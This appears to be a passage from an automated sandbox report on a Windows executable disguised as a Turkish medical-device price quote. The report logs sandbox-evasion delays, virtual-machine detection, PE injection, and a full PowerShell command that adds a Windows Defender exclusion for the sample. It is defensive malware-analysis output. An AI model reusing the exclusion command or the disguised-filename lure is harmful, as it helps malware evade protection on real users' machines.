Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596169	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596061	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595952	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595016	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 594469	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6192	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3495	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Window / User API: threadDelayed 2507	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Window / User API: threadDelayed 7336	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Window / User API: foregroundWindowGot 1734	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7380	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -35971150943733603s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7872	Thread sleep count: 2507 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7872	Thread sleep count: 7336 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -598905s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -598789s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -598577s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -597375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -597047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -596937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -596828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -596717s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -596608s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -596500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -596169s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -596061s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -595952s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -595828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -595234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -595125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -595016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -594906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -594797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -594687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe TID: 7868	Thread sleep time: -594469s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598905	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598789	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598577	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596828	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596717	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596608	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596169	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 596061	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595952	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595828	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 595016	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Thread delayed: delay time: 594469	Jump to behavior

Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000000.00000002.1325039921.00000000013A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe, 00000007.00000002.3757593492.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll <N

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Code function: 7_2_05569548 LdrInitializeThunk,

7_2_05569548

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe

Memory written: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe "C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe"	Jump to behavior
